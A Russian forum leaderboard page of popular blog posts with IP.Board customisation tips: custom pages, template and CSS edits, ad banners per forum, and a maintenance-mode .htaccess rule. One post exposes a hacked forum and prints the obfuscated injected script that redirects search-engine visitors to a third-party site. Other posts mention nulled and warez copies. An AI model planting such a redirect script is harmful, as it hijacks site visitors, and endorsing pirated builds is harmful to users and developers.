Таблица лидеров
Популярные публикации
Отображаются публикации с наибольшей репутацией начиная с 07/01/10 в Записи блога
-
13 балловКогда-то давно я пришла на ibresource и выложила бесплатные скины под 1.3. Свои, без копирайтов даже, мне приятно было, если кому-то они пригодятся..... Просто так. Без корысти. Это было в 2005-м. В общем, тогда для меня предметом гордости было, что спустя три месяца перевели в группу ipb specialist. Потом там группу упразднили. Но мы ее реанимировали. Здесь.
-
5 балловИногда на форуме требуется создание индивидуальных статических страниц, сохраняя оформление форума. Для этого советуют использовать (DP31) Custom Pages или IP.Content. Это оправдано, когда пользовательские страницы необходимо в определенном количестве. Для одной одной или двух страниц, покупать IP.Content или разбирается с (DP31) Custom Pages не совсем оправданно. Есть два способа быстрого создания таких страничек. Правильный способ, через регистрацию своего приложения через административную панель но есть другой "неправильный" способ. Быстрый и простой. Для начала рассмотрим неправильный способ. Стоит задача сделать свою страницу по адресу "ваш форум/MyCustomPage/". Создаем папку MyCustomPage. В папку кладем файл, например index.php со следующим содержанием: <?php define( 'IPB_THIS_SCRIPT', 'public' ); require_once( '../initdata.php' ); require_once( IPS_ROOT_PATH . 'sources/base/ipsRegistry.php' ); require_once( IPS_ROOT_PATH . 'sources/base/ipsController.php' ); $registry = ipsRegistry::instance(); $registry->init(); $registry->output->setTitle('Ваше название'); $registry->output->addContent('Ваш контент'); $registry->output->sendOutput(); ?> 'Ваш контент' - содержание вашей страницы. Здесь может быть любой текст или простой html код. Главное что бы в нем не присутствовала одиночная кавычка ( ' ). Если код html сложный, используется пользовательский CSS и javascript, то в $registry->output->addContent('Ваш контент') меняем 'Ваш контент' на переменную $content. $content может содержать массив, результат из базы данных или другие данные. Получаем следующий пример. <?php define( 'IPB_THIS_SCRIPT', 'public' ); require_once( '../initdata.php' ); require_once( IPS_ROOT_PATH . 'sources/base/ipsRegistry.php' ); require_once( IPS_ROOT_PATH . 'sources/base/ipsController.php' ); $content = <<<BLK Ваш контент BLK; $registry = ipsRegistry::instance(); $registry->init(); $registry->output->setTitle('Название'); $registry->output->addContent($content); $registry->output->sendOutput(); ?> Здесь $content информация которая находится в блоге между BLK. Ваша первая "Пользовательские страница" на IP.Board 3 готова. Осталось поместить ее в меню: Добавление своих ссылок в верхнее меню форума IPB 3.0 Важно: ссылка на вашу страницу, должна быть полной. Если вы создали файл index.php в папке MyCustomPage, то короткая ссылка "ваш форум/MyCustomPage/" вызовет ошибку. А ссылка "ваш форум/MyCustomPage/index.php" откроет нужную страницу. Название папки и имя файла может быть произвольным. Источник: community.invisionpower.com и моя обработка полученных знаний :) Продолжение: Регистрируем персональные страницы для IP.Board 3
-
5 балловВ тегах русская буква б воспринимается как запятая. И поэтому тег с этой буквой делится на два бессмысленных. Исправляем. (не работает) admin\applications\forums\extensions\search\engines\sql.php найти if( $search_tags ) { IPSSearchRegistry::set('opt.noPostPreview', true); } заменить на if( $search_tags ) { IPSSearchRegistry::set('opt.noPostPreview', true); IPSSearchRegistry::set('set.returnType', 'tids' ); } Исправляем глюк с ъ в визуальном редакторе. Это проявляется в Опере public\js\3rd_party\ckeditor\ips_config.js ищем if ( inACP ) { config.extraPlugins = 'ipsbbcode,ipsquote,ipscode,ipsmedia,ipsoptions'; } else { config.extraPlugins = 'ipsbbcode,ipsquote,ipscode,ipsmedia,ipsautosave,ipsswitch,pastefromword,ipsemoticon'; } добавляем после if(CKEDITOR.env.opera){ delete config.blockedKeystrokes[config.blockedKeystrokes.indexOf(CKEDITOR.CTRL + 66)]; for(var r in config.keystrokes) if(config.keystrokes[r][0]==CKEDITOR.CTRL + 66 && config.keystrokes.splice(r,1))break; } Топорное исправление для 3.2.3 public\js\3rd_party\ckeditor\ckeditor.js ищем i.blockedKeystrokes=[1000+66,1000+73,1000+85]; меняем на i.blockedKeystrokes=[1000+73,1000+85]; ищем и удаляем [1000+66,'bold'], Все. Руссификация При подписке на уведомление, приходят битые ссылки. Заходим в АЦ - Управление языками Ищем строку строку с ключом: subs_with_post Заменить <#BOARD_ADDRESS#>?showtopic=<#TOPIC_ID#>&view=getnewpost на <#URL#> В IE8 вылезает такой глюк. Причина в тексте "ПОПУЛЯРНАЯ ТЕМА" - ломает верстку. И "ЗАФИКСИРОВАНО" - не удачный перевод. Для сравнение английский вариант Исправляет, подбирая новые короткие слова на свой вкус :)
-
5 балловПосле создание темы в блоге "Пользовательские страницы на IP.Board 3", постоянно получаю в личку просьбу продолжить тему. Для простых страничек, лучше использовать старый совет. Если надо сделать, что-то сложное, с PHP логикой, работа с базой данной, то можно использовать следующее решения: Создаем новое, простое приложение MyCustomPage. В admin/applications_addon/other/ создаем папку mycustompage Как правило приложения включают в себя следующие разделы (папки): extensions modules_admin modules_public setup skin_cp Для начала, мы создадим две папки. modules_public skin_cp В skin_cp положим иконку appIcon.png. Иконку можно взять в любом приложение, хотя все будет работать и без нее. Иконка применяется в АдминЦентре в списке приложений. В modules_public создаем одну папку, назовем ее например modulename В этой папке создаем два файла. Первый основной (он должен быть всегда): defaultSection.php <?php $DEFAULT_SECTION = 'firstname'; ?> firstname - имя второго файла. Относительный путь на сайте у него будет admin/applications_addon/other/mycustompage/modules_public/modulename/firstname.php Это важно: mycustompage - Директория всего приложения modulename - Имя директории, содержащей файлы модуля (Ключ модуля) firstname.php - Имя файла Это название отражается и в главном классе файла firsname.php class public_mycustompage_modulename_firstname extends ipsCommand Понятно, что название могут быть любые. Но замена название в одном месте, должно быть заменено везде, где оно фигурирует. И сам файл firstname.php <?php if ( ! defined( 'IN_IPB' ) ) { print "<h1>Incorrect access</h1>You cannot access this file directly. If you have recently upgraded, make sure you upgraded all the relevant files."; exit(); } class public_mycustompage_modulename_firstname extends ipsCommand { public function doExecute( ipsRegistry $registry ) { $this->output = "Текущая дата: " .strftime('%d %B %Y'); // Здесь формируем контент $this->registry->output->setTitle( "Название" ); $this->registry->output->addContent( $this->output ); $this->registry->output->sendOutput(); } } ?> Можно сказать это необходимый минимум. Мы не описали lang - файлы, не подключили свой шаблон. Но уже такое решение, вполне рабочее. Теперь надо только рассказать IP.Board, что у нас есть "готовое" приложение. Для этого идем в АЦ Панель управления > Приложения > Управление модулями > Список модулей > Приложения -> Добавить приложение My Control Panel > Applications & Modules > Manage Applications & Modules > Applications -> Add New Application В этой форме, важны два поля Публичное имя приложения ( Application Public Title ) - имя под котором приложение будет присутствовать в меню. Директория приложения ( Application Directory ) - место где находится наше приложение. И он же адрес странички: /index.php?app=mycustompage Но в данный момент приложение доступно только по прямой ссылке, в меню ссылка еще не работает. Регистрируем публичный модуль нашего приложения. Добавить публичный модуль Здесь важно правильно написать Ключ модуля (Module Key) и естественно включить модуль: Модуль включен? (Module Enabled). Для безопасности во все вновь созданные директории, можно положить защитные (пустые) файлы index.html Вот и все. Будет ли продолжение? Не знаю. Не сделано многое. Нет администраторского модуля, нет своих языковых файлов. Одним словом нечего нет. Буду делать, конкретное приложение для себя, то выложу его исходники и опишу. Если не будет задачи, описывать сферического коня в вакууме, не очень интересно Повторюсь, для простых вещей, гораздо удобнее решение описанное здесь: Пользовательские страницы на IP.Board 3 Для сложных решений, проще использовать IP.Content. Проще и быстрей. Он стоит своих денег.
-
4 балла
-
4 баллаЗамучила иконка от ipb при передаче темы с форума на facebook. Убираем строки <link rel="image_src" href='{$this->settings['meta_imagesrc']}' /> <meta property="og:image" content="{$this->settings['img_url']}/meta_image.png"/> из global template. Получаем иконки фотографий из темы форума на FB, вместо скукоты
-
4 баллаНа одном форуме IPB 2.1.7 (но версия может быть любой) жаловались, что при переходе со ссылок с поисковиков, а так же с почтовой рассылке происходило переадресация на сторонний сайт. При условии, что данный пользователь в данный момент не авторизован на форуме. Ситуация не самая частая. Чаще на такое попадаются гости, а администрация сайта остается не информированная. Анализ того сайта, показал, что в шаблоне topic_page_top лежит скрипт: <if="ipb.member['id'] <= 0"><script>function R(){var Ref=document.referrer;if(Ref.indexOf('.google.')!=-1||Ref.indexOf('.bing.')!=-1||Ref.indexOf('.yahoo.')!=-1||Ref.indexOf('.aol.')!=-1||Ref.indexOf('.ask.')!=-1||Ref.indexOf('.altavista.')!=-1||Ref.indexOf('.yandex.')!=-1){document.write('<script language="javascript">docu'+'ment.location="http://tvoyarodoslovnaya.com/?wmid=1688&subid=3813"</s'+'cript>')}else{document.write('.')}}R();</script></if> Посмотрел на поисковиках, этот форум не единственный, кто попал. Но подозреваю, что таких форумов гораздо больше.
-
4 баллаУ разработчиков IPB (http://www.invisionpower.com/) любая локализация бесплатна, так как делается добровольцами всего мира. И я в том числе что-то немного перевожу для себя, и делюсь этим с другими (трекер, документация к ip.content, другие переводы дополняю). Мы все так делаем, во всех странах. Только IBResourcе продают локализацию, единственные в мире. Но они не разработчики форума, они перепродают лицензии, купленные оптом на свой аккаунт (оптом – раза в три дешевле), переводят с английского силами гастербайтеров фрилансеров, организуют плохонькую техподдержку и немного тюнят движок (часто лучше бы этого не делали, с вконтакте вначале была полная лажа в виде переопределения базовых шаблонов, что делало форум несовместимым со сторонними скинами). При этом все больше приятных новшеств IPS действуют только для купивших напрямую, а IBR трет на форуме темы с вопросом, обеспечивает ли русская лицензия доступ к ресурсам из админки через IPS Marketplace App. Потому что ни фига не обеспечивает. С продаж они имеют профит, но реально заинтересованы в денежных клиентах (которые купят VIP обслуживание), а не в школоте, сэкономившей на школьных завтраках на покупку форума и не собирающейся приобретать услуги сверх (активная лицензия предполагает бесплатный набор действий техподдержки – но, когда мелких много, нужен большой штат саппорта – а на какие шиши...). IBResourcе не являются официальными представителями, они просто легальные барыжники (любой может много купить и 26-я лицензия уже будет стоить 49 вместо 149). Можете спросить на форуме http://community.invisionpower.com/forum/305-pre-sales-questions/. Кстати, там их практически никто не знает, так как ведут себя тихо и не светятся. Персонал вначале отвечает на вопрос, можно ли покупать у русских представителей, что не слышали о таких и вообще через третьи руки покупать не рекомендуют. Потом Бфарбер появляется и вспоминает, что да, когда-то давно ИБРы скупили много лицензий оптом, а теперь их продают. Возможно, и он уже забыл. Вот аккаунт, через который куплены все "русские лицензии". Всего навсего малозаметный клиент, даже без статуса developer. Надо ли с ними связываться, каждый решает сам. Многие покупают "русскую лицензию" только ради русской техподдержки. Но устройте опрос, довольны ли они ею потом. Самые хитрые покупают английскую лицензию (на самом деле других и не бывает), а перевод, ради русской админки (хотя он жуткий), вытаскивают из варезных дистрибутивов ибров. Источник: Купить форум у IBR, а модули у IPS
-
3 баллаГлавный админ портала захотел определять рекламный блок в шапке для каждого подфорума в отдельности, а не только глобальный. Немного полазив по исходникам IPB 3.1.4 было решено сделать такую возможность. На всю реализацию затеи ушло 1,5 часа (вместе с проверкой). Для начала полазил по Админской Панели и нашёл место, в котором указываются стандартные рекламные блоки: Выяснил, что код рекламных блоков хранится в таблице core_sys_conf_settings. За рекламные блоки в шапке отвечают следующие записи: ad_code_global_header , ad_code_board_index_header , ad_code_forum_view_header. Именно параметр ad_code_forum_view_header отвечает за отрисовку баннера в форумах. Руководство к действию. Через phpMyAdmin добавляем в таблицу forums новое поле banner (тип TEXT, сравнение utf8_general_ci): Проверьте, что данное поле появилось. Открываем на редактирование файл /admin/applications/forums/modules_admin/forums/forums.php и ищем следующий код: 'description' => '', 'status' => 0, который заменяем на такой кодес: 'description' => '', 'banner' => '', 'status' => 0, Чуть ниже находим кодес такого содержания: 'description' => '', 'status' => 1, который заменяем на такой кодес: 'description' => '', 'banner' => '', 'status' => 1, Ещё ниже находм следующий участок: $form['sub_can_post'] = $this->registry->output->formYesNo( 'sub_can_post', ( isset($_POST['sub_can_post']) AND $_POST['sub_can_post'] ) ? $_POST['sub_can_post'] : ( $forum['sub_can_post'] == 1 ? 0 : 1 ) ); и заменяем его на: $form['sub_can_post'] = $this->registry->output->formYesNo( 'sub_can_post', ( isset($_POST['sub_can_post']) AND $_POST['sub_can_post'] ) ? $_POST['sub_can_post'] : ( $forum['sub_can_post'] == 1 ? 0 : 1 ) ); $form['banner'] = $this->registry->output->formTextarea("banner" , IPSText::br2nl( ( isset( $_POST['banner']) AND $_POST['banner'] ) ? $_POST['banner'] : $forum['banner'] ) , 120, 5 ); Как раз тут указываются размеры поля ввода кода рекламного баннера в шапке (ширина: 120, высота: 5). Далее находим кодес: 'description' => IPSText::getTextClass('bbcode')->xssHtmlClean( nl2br( IPSText::stripslashes( $_POST['description'] ) ) ), 'use_ibc' => intval($this->request['use_ibc']), который меняем на такой: 'description' => IPSText::getTextClass('bbcode')->xssHtmlClean( nl2br( IPSText::stripslashes( $_POST['description'] ) ) ), 'banner' => nl2br( IPSText::stripslashes($_POST['banner']) ), 'use_ibc' => intval($this->request['use_ibc']), Сохраняем файл /admin/applications/forums/modules_admin/forums/forums.php и копируем его на WEB-сервер. Открываем на редактирование файл /admin/applications/forums/modules_public/forums/forums.php и ищем следующий код: /* Set Ad code for the board index */ if( $this->registry->getClass('IPSAdCode')->userCanViewAds() ) { $this->registry->getClass('IPSAdCode')->setGlobalCode( 'header', 'ad_code_forum_view_header' ); $this->registry->getClass('IPSAdCode')->setGlobalCode( 'footer', 'ad_code_forum_view_footer' ); } заменяем его на ткой кодес: /* Set Ad code for the board index */ if( $this->registry->getClass('IPSAdCode')->userCanViewAds() ) { if ($this->forum['parent_id'] == 'root') { // category $fbanner = $this->DB->buildAndFetch( array( 'select' => 'banner', 'from' => 'forums', 'where' => "id=".$this->forum['id']) ); if ($fbanner['banner']) $this->forum['banner'] = $fbanner['banner']; } if (strlen($this->forum['banner']) > 3) { $this->registry->getClass('IPSAdCode')->headerCode = $this->forum['banner']; } else { $this->registry->getClass('IPSAdCode')->headerCode = $this->settings['ad_code_forum_view_header']; } $this->registry->getClass('IPSAdCode')->setGlobalCode( 'footer', 'ad_code_forum_view_footer' ); } Сохраняем файл /admin/applications/forums/modules_public/forums/forums.php и копируем его на WEB-сервер. Открываем на редактирование файл /admin/applications/forums/modules_public/forums/topics.php и ищем следующий код: /* Set Ad code for the board index */ if( $this->registry->getClass('IPSAdCode')->userCanViewAds() ) { $this->registry->getClass('IPSAdCode')->setGlobalCode( 'header', 'ad_code_forum_view_header' ); $this->registry->getClass('IPSAdCode')->setGlobalCode( 'footer', 'ad_code_forum_view_footer' ); } и заменяем его на такой кодес: /* Set Ad code for the board index */ if( $this->registry->getClass('IPSAdCode')->userCanViewAds() ) { if (strlen($this->forum['banner']) > 3) { $this->registry->getClass('IPSAdCode')->headerCode = $this->forum['banner']; } else { $this->registry->getClass('IPSAdCode')->headerCode = $this->settings['ad_code_topic_view_header']; } $this->registry->getClass('IPSAdCode')->setGlobalCode( 'footer', 'ad_code_topic_view_footer' ); } Сохраняем файл topics.php и копируем его на WEB-сервер. Открываем на редактирование файл /admin/applications/forums/skin_cp/cp_skin_forums.php и ищем следующую строчку: <li><label class='head'>{$this->lang->words['frm_f_basic']}</label></li> Перед этой строкой нужно вставить следующие строчки: <li><label class='head'>Header Banner</label></li> <li> {$form['banner']} </li> Сохраняем файл cp_skin_forums.php и копируем его на WEB-сервер. Все изменения внесены. Кеш обновлять не нужно. В админке теперь видим новое поле для ввода (настройки конкретно форума): В настройках категории новое поле тоже есть:
-
3 баллаНе знаю какого черта IPS делает свой скин таким корявым...в плане того что не во всю ширину. Исправляем сеЕ безобразие в Look & Feel > Manage Skin Sets & Templates > Manage Templates > Ваш скин > CSS > ipb_styles.css Находим секцию /* LAYOUT */ #content, .main_width { margin: 0 auto; /* Uncomment for fixed */ /*width: 980px;*/ /* Fluid */ width: 87% !important; min-width: 960px; } Меняем 87% на 98 Это делает главную страницу форума во всю ширину. Все остальные страницы будут во всю длину если вы нажмете кнопку F5 :)
-
3 баллаНаверное, многие невзлюбили панель смайлов при переходе с 3.1.х до 3.2.х-3.3.х До: После: Начнём АЦ > Внешний вид > Управление стилями и шаблонами > Управление шаблонами в IP.Board > CSS > ipb_ckeditor.css Ищем: /* Emo slide out tray */ .ipsSmileyTray { position: relative; text-align: center; overflow: auto; margin: 0px auto 0px auto; padding: 4px 24px 4px 24px; min-width: 600px; width: 75%; height: 32px; border: 1px solid #D5DDE5; -moz-border-radius: 3px; -webkit-border-radius: 3px; border-radius: 3px; Заменяем: /* Emo slide out tray */ .ipsSmileyTray { position: relative; text-align: center; overflow: auto; margin: 0px auto 0px auto; padding: 4px 24px 4px 24px; min-width: 600px; width: 85%; height: auto; border: 1px solid #D5DDE5; -moz-border-radius: 3px; -webkit-border-radius: 3px; border-radius: 3px; Ищем: .ipsSmileyTray img.bbc_emoticon { opacity: 0.8; cursor: pointer; margin: 6px 3px 0px 3px; max-width: 30px; max-height: 30px; } Заменяем: .ipsSmileyTray img.bbc_emoticon { opacity: 0.8; cursor: pointer; margin: 6px 3px 0px 3px; max-width: auto; max-height: auto; }
-
3 баллаПо умолчанию почему-то урезали нумерацию страниц в темах. И очень не удобно просматривать темы с большим количеством страниц. Безобразие исправляем в шаблоне Paginationtemplate глобального темплейта мобильного скина. Заменяем содержимое на это <if test="haspages:|:$work['pages'] > 1"> <if test="firstpage:|:1 < ($work['current_page'] - $data['dotsSkip'])"> <a class="button page-button" href='{parse url="{$data['baseUrl']}&{$data['startValueKey']}=0" base="{$data['base']}" seotitle="{$data['seoTitle']}" template="{$data['seoTemplate']}"}' title='{$this->lang->words['tpl_gotofirst']}' rel='start'>|{$this->lang->words['_laquo']}</a> </if> <if test="normalpages:|:is_array( $work['_pageNumbers'] ) && count( $work['_pageNumbers'] )"> <foreach loop="pagination:$work['_pageNumbers'] as $_real => $_page"> <a class="button page-button<if test="activepage:|:$_real == $data['currentStartValue']"> current</if>" href="{parse url="{$data['baseUrl']}&{$data['startValueKey']}={$_real}" base="public" seotitle="{$data['seoTitle']}" template="{$data['seoTemplate']}"}" title="$_page">{$_page}</a> </foreach> </if> <if test="lastpage:|:isset( $work['_showEndDots'] ) && $work['_showEndDots']"> <a class="button page-button" href="{parse url="{$data['baseUrl']}&{$data['startValueKey']}={parse expression="intval( ( $work['pages'] - 1 ) * $data['itemsPerPage'] )"}" base="public" seotitle="{$data['seoTitle']}" template="{$data['seoTemplate']}"}" title="{$this->lang->words['tpl_gotolast']}" rel='last'>|{$this->lang->words['_raquo']}|</a> </if> </if>
-
3 баллаПост из темы: На самом деле, с нуллами как повезет. У некоторых вроде все работает, а у других – сплошные баги. Думаю, это зависит от того, на какой стадии самопиара находится команда нулевщиков. Первые версии они чистыми раздают, потом жадность побеждает... Самый плохой случай, когда другие товарищи начинают хотеть погреть руки на результатах чужого нуления. Ссылки заменяют, своего стороннего чего-то добавляют, какие-то бажные сборки делают... Благо наивных, кто это скачает, всегда хватало. Источник: Настройка процесса регистрации IPB 3.0.5 Начинаю рассказывать: Пользовалась нуленой 2.0.4 в 2005 году на форуме нашей локальной сети. До этого стоял бесплатный IPB 1.3. Решила обновить, даже не зная, что форум стал платным. Скачала первый попавшийся нулл вроде как с softoroom.net Повезло. Единственная проблема была, – некорректно работал "Мой помощник". Выводил не последние сообщения, а много...
-
3 баллаКнопка "Нравится" не связана с приложениями. Она просто там используется. И в архиве, и в блогах. Частично есть ленги для like – Открыть язык, смотреть прямо на первой странице – public_like А частично приходится переводить в шаблонах. Привожу свой вариант кода с переводом. Other Global Templates (другие или разные в дурацкой русской админке вроде) > likeMoreDialogue {parse striping="faverave" classes="row1,row2"} <h3>Им понравилось</h3> <div class='general_box likepop'> <foreach loop="$data as $mid => $data"> <div class='{parse striping="faverave"}'> <em class='desc'>Добавлено: {parse date="$data['like_added']" format="short"}</em> <img src='{$data['pp_thumb_photo']}' width='{$data['pp_thumb_width']}' height='{$data['pp_thumb_height']}' class='photo' /> <div> <strong>{$data['members_display_name']}</strong> <p class='desc'> {parse expression="IPSLib::makeNameFormatted( $data['g_title'], $data['g_id'] )"} <br /> Регистрация: {parse date="$data['joined']" format="joined"} </p> </div> </div> </foreach> </div> likeSetDialogue <h3>{$this->lang->words['fave_title']}</h3> <div class='general_box'> <fieldset> <ul> <li class='field checkbox'> <input type="checkbox" name="notify" id="like_notify" class="input_check" value="1" /> <label for="like_notify">{parse expression="sprintf($this->lang->words['label_notify'], $data['notifyType'][1])"}</label> </li> <li class='field'> <label for="like_freq">{$this->lang->words['label_freq']} <select name="freq" id="like_freq" class="input_select"> <foreach loop="$data['frequencies'] as $freq"> <option value="$freq">{$this->lang->words[ 'freq_' . $freq ]}</option> </foreach> </select> </label> </li> <li class='field checkbox'> <input type="checkbox" name="anon" id="like_anon" class="input_check" value="1" /> <label for="like_anon">{$this->lang->words['label_anon']}<br /><span class='desc'>{$this->lang->words['label_anon_desc']}</span></label> </li> <li class="submit" style="float:right"> <input type="submit" value="В избранное" class="input_submit _fsubmit" /> </li> </fieldset> </div> likeSummaryContents <if test="$data['formatted']">{$data['formatted']}<else /> </if> <if test="likeOnlyMembers:|:$this->memberData['member_id']"> <a href='#' title="<if test="$data['iFave']">Уже не нравится. Отменить уведомления.<else />Нравится? Уведомлять об обновлениях?</if>" class='ftoggle <if test="$data['iFave']"> on</if><if test="$opts['button-new-line']"> _newline</if>'><if test="$data['iFave']">Уже не нравится<else /><b style='font-size: 1.3em; color: #418308'>Нравится!</b></if></a> </if> Источник: Русский язык для IP.Downloads
-
3 баллаМинимальная длина отправляемого сообщения на движке IP.Board - 1 символ. Не пробел. Это зашито в код и не выводится в Панель управления. Что не совсем удобно. Не секрет, что многих админов достают пользователи которые не прекращая посылают сообщения +1 или UP. В правила это можно прописывать много и долго, но работать не будет. У меня же правило простое, любое техническое ограничение должно поддерживается движком форума, иначе оно не работает. Как же быть. Ограничиваем длину сообщения admin\applications\forums\sources\classes\post\classPost.php ищем //----------------------------------------- // Do we have a valid post? // alt+255 = chr(160) = blank space //----------------------------------------- if ( strlen( trim( IPSText::removeControlCharacters( IPSText::br2nl( $post['post'] ) ) ) ) < 1 AND !$this->getIsPreview() ) { $this->_postErrors = 'post_too_short'; } 1 - меняем на нужное количество символов. Ограничиваем длину первого сообщения в новой теме ищем //----------------------------------------- // Do we have a valid post? //----------------------------------------- if ( strlen( trim( IPSText::removeControlCharacters( IPSText::br2nl( $post['post'] ) ) ) ) < 1 ) { $this->_postErrors = 'post_too_short'; //$this->registry->getClass('output')->showError( 'post_too_short', 103143 ); } Аналогично. Внимание. Данное изменение нарушают идеологию движка IP.Board 3.x, где любое изменение функций, должно выполнятся через хук, не затрагивая исходный код форума. Важно. При апгрейде форума изменение потеряется и надо будет его восстанавливать.
-
3 баллаВсе искал решение как сделать блоки сворачиваемыми (как на форуме). И вот оно нашлось. 1. Идем в АЦП >IP.Content>Page Templates> изменяем шаблон по умолчанию. В 2.1.2 его уже нет. Добавляем над строкой </head> следующий код <script src="ССЫЛКА НА ВАШ ФОРУМ/public/js/ips.board.js" type="text/javascript"></script> 2. Далее оборачиваем содержимое вашего блока следующим кодом. <div class='category_block block_wrap'> <h3 id='category_{$title}' class='maintitle'><a class='toggle right' href='#' title='{$this->lang->words['toggle_cat']}'>{$this->lang->words['toggle_cat']}{$title}</a>{$title}</h3> <table class='ipb_table' summary="{$title}"> <tr> <td> Тут содержимое вашего блока <td> </tr> </table> </div> 3. Радуемся.
-
2 баллаИногда нужно полностью закрыть сайт на время проведения технических работ, с возможностью открытия доступа по IP. Для этого в корне сайта создаем два файла - closed.html (туда добавляем сверстанную страницу-заглушку, на которую будут перенаправляться все посетители сайта) и closed.enable (этот файл отвечает за активацию режима обслуживания). В файл .htaccess в корне сайта добавляем: <IfModule mod_rewrite.c> RewriteEngine On RewriteCond %{REMOTE_ADDR} !^127\.0\.0\.1 RewriteCond %{REMOTE_ADDR} !^123\.456\.789\.000 RewriteCond %{DOCUMENT_ROOT}/closed.html -f RewriteCond %{DOCUMENT_ROOT}/closed.enable -f RewriteCond %{SCRIPT_FILENAME} !closed.html RewriteRule ^.*$ /closed.html [R=503,L] ErrorDocument 503 /closed.html Header Set Cache-Control "max-age=0, no-store" </IfModule> Где: RewriteCond %{REMOTE_ADDR} - разрешенные IP адреса Если файл closed.enable будет отсутствовать, сайт будет работать в обычном режиме. Т.е. если нам нужно сделать перенаправление пользователей на страницу-заглушку, нужно создать пустой файл closed.enable.
-
2 баллаМногие спрашивают про расширение ряда кнопок в темах с добавлением новых. Пример здесь. Сейчас в share links добавлены кнопки для Твиттера и Вконтакте. Ну и для того, чтобы не индексировался мусор, все кнопочное хозяйство засунуто в noindex. Global Templates > shareLinks Весь код заменяем этим. <noindex> <script type="text/javascript" src="http://vkontakte.ru/js/api/share.js?10" charset="windows-1251"></script> <style type="text/css"> tbody { background: transparent; } td { padding: 0; } </style> {parse js_module="sharelinks"} <if test="gotLinks:|:is_array( $links )"> <ul class='{$cssClass} shareButtons'> <foreach loop="cacheLoop:$links as $id => $data"> <if test="isEnabled:|:$data['share_enabled']"> <li><a href="{parse url="sharelink={$data['share_key']};{$data['_url']};{$title}" base="public"}" rel="nofollow" target="_blank" title="<if test="!in_array( $data['share_key'], array( 'print', 'download' ) )">{$this->lang->words['gbl_sharelink_with']} </if>{$data['share_title']}" class='_slink' id='slink_{$data['share_key']}'><img src="{$this->settings['public_dir']}style_extra/sharelinks/{$data['share_key']}.png" /></a></li> </if> </foreach> <li> <!-- Put this script tag to the place, where the Share button will be --> <script type="text/javascript"><!-- document.write(VK.Share.button(false,{type: "button", text: "Сохранить"})); --></script> </li> <li> <a href="http://twitter.com/share" class="twitter-share-button" data-count="horizontal" data-via="fisana">Tweet</a><script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script></li> </ul> <script type="text/javascript"> ipb.sharelinks.url = "{parse expression="IPSText::base64_decode_urlSafe($url)"}"; ipb.sharelinks.title = "{parse expression="IPSText::base64_decode_urlSafe($title)"}"; ipb.sharelinks.bname = "{parse expression="trim($this->settings['board_name'])"}"; </script> </if> </noindex> В коде для твиттера data-via="fisana" слово "fisana" замените на имя своего аккаунта. При желании выше можно добавлять новые кнопки в виде <li> код кнопки </li> Но есть проблема, когда какой-нибудь вконтактик лежит, медленно загружается и низ тем на форуме, пытаясь достучаться до сервера...
-
2 баллаВ IP.Board 3.x аваторы используются только при показе сообщений в форуме, в остальных местах используется фотография пользователя. Если аваторы закачивают часто, то фотографию как правило не размещают. Использование фотографии определяется в файле admin/sources/base/core.php функция buildProfilePhoto() Начал писать свое решение, но не доделал. Нашел готовое решение на community.invisionpower.com. Авторское право на решение: T3XT3 /admin/sources/base/core.php Меняем фрагмент: if ( ! $member['pp_thumb_photo'] OR $member['pp_thumb_photo'] == 'profile/' ) { if( $member['_has_photo'] ) { $member['pp_thumb_photo'] = $member['pp_main_photo']; } else { $member['pp_thumb_photo'] = ipsRegistry::$settings['img_url'] . '/profile/default_thumb.png'; } $member['pp_thumb_width'] = 50; $member['pp_thumb_height'] = 50; } else { if( $member['_has_photo'] ) { $member['pp_thumb_photo'] = ipsRegistry::$settings['upload_url'] . '/' . $member['pp_thumb_photo']; } else { $member['pp_thumb_photo'] = ipsRegistry::$settings['img_url'] . '/profile/default_thumb.png'; } } //----------------------------------------- // Try not to distort the image //----------------------------------------- if ( !ipsRegistry::member()->getProperty('g_mem_info') ) { $member['pp_thumb_width'] = 50; $member['pp_thumb_height'] = 50; } На фрагмент: if ( $member['avatar_location'] ) { if ( $member['avatar_type'] == 'upload' ) { $member['pp_thumb_photo'] = ipsRegistry::$settings['upload_url'] . '/' . $member['avatar_location']; } else { $member['pp_thumb_photo'] = $member['avatar_location']; } } else { $member['pp_thumb_photo'] = ipsRegistry::$settings['img_url'] . '/profile/default_thumb.png'; } //----------------------------------------- // Try not to distort the image //----------------------------------------- if ( $member['avatar_size'] ) { $avatar_size_thumb = explode ( 'x', $member['avatar_size'] ); $_data = IPSLib::scaleImage( array( 'max_height' => 50, 'max_width' => 50, 'cur_width' => $avatar_size_thumb[0], 'cur_height' => $avatar_size_thumb[1] ) ); $member['pp_thumb_width'] = $_data['img_width']; $member['pp_thumb_height'] = $_data['img_height']; } else { $member['pp_thumb_width'] = 50; $member['pp_thumb_height'] = 50; } Решение испытал, работает. Испытывал на тестовом форуме. Если выплывут глюки, готов доработать. Внимание. Данное изменение нарушают идеологию движка IP.Board 3.x, где любое изменение функций, должно выполнятся через хук, не затрагивая исходный код форума. Важно. При апгрейде форума изменение потеряется и надо будет его восстанавливать. Источник: community.invisionpower.com
-
2 баллаIPB 3.1.4 Быстрый ответ выделенного текста: спасибо iaroslav и автору хука: 1) установить Ник и цитата в форму быстрого ответа для 3.1.x 2) загрузить на сервер fastquote.zip 3) вызвать в globalTemplate, после <head> добавить: <script type="text/javascript" src="/public/js/fastquote.js"/></script> 4) в topicViewTemplate найти: <li class='top hide'><a href='#top' class='top' title='{$this->lang->words['back_top']}'>{$this->lang->words['back_top']} of the page up there ^</a></li> <if test="replyButton:|:$displayData['reply_button']['image']"> добавить внизу: <li><a href="#editor_fast-reply" class="frq_quote" onclick="frq_quote('{$post['author']['members_display_name' ]}',{$post['post'][ 'pid']})">Цитировать</a></li> Source: IPB 3.1.4 Быстрый ответ выделенного текста
-
2 баллаОкультуриваем случайные или последние изображения из галереи на главной страницы форума. А именно, фотографии будут по центу и будет видно комментарии. Если покопаться, то можете подправить так как это нужно вам. Заходим в шаблон Находим: Список форумов далее hookRecentGalleryImages и заменяем все содержимое на это: <div class='maintitle'>{$this->lang->words['recent_gallery_images']}</div> <div id='attach_wrap' class='rounded clearfix'> <table style="width: 100%; text-align:center;"><tr> <foreach loop="gallery_images_hook:$rows as $r"> <td style="vertical-align:bottom; width: 20px; text-align:center;"> {$r['_image']}<br /><span style="font-size: 11px; color: #336A50;">Комментарии: {$r['comments']}</span> </td> </foreach> </tr></table> </div> <br style='clear:both;' /> должно получиться как у меня =) http://www.unrealtech.ru/ Сам я этот хук, мод или изменение не делал, так что что-то подсказать и дополнить или изменить у меня не получится.
-
